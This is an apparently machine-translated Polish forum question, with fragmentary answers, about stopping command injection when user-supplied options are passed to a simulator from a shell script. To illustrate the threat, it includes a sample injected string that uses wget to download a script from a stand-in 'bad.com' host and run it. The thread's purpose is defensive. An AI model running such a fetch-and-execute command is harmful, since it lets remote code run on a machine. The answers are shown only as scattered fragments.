Mam aplikację otoki, w której muszę pozwolić użytkownikowi określić niestandardowe opcje przekazywania do symulatora. Chcę jednak upewnić się, że użytkownik nie wstrzykuje innych poleceń za pomocą opcji użytkownika. Jaki jest najlepszy sposób na osiągnięcie tego?
Na przykład.
- Użytkownik zapewnia:
-a -b
- Aplikacja wykonuje:
mysim --preset_opt -a -b
Jednak nie chcę, aby tak się stało:
- Użytkownik zapewnia:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Aplikacja wykonuje:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Obecnie myślę, że mógłbym po prostu otoczyć każdą opcję dostarczoną przez użytkownika pojedynczymi cudzysłowami '
i usunąć wszelkie pojedyncze cytaty dostarczone przez użytkownika, aby polecenie w ostatnim przykładzie okazało się nieszkodliwe:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Uwaga: mysim
Komenda jest wykonywana jako część skryptu powłoki w kontenerze dokowanym / lxc. Używam Ubuntu.
eval
. Nazywam plik wykonywalny mysim
w skrypcie powłoki. Widzę, że doszło do wstrzyknięcia, jeśli po prostu skopiuję ciąg opcji dostarczonych przez użytkownika i wkleję go na końcu mysim
polecenia.
-a -b
. Chcę więc upewnić się, że dodatkowe polecenia nie zostaną wstrzyknięte do tego ciągu.
[a-zA-Z0-9 _-]
wygląda na dość obronny wybór.
eval
do uruchomienia aplikacji? Jeśli nie, wstrzyknięcie nie powinno nastąpić:x="&& echo Doomed" ; echo $x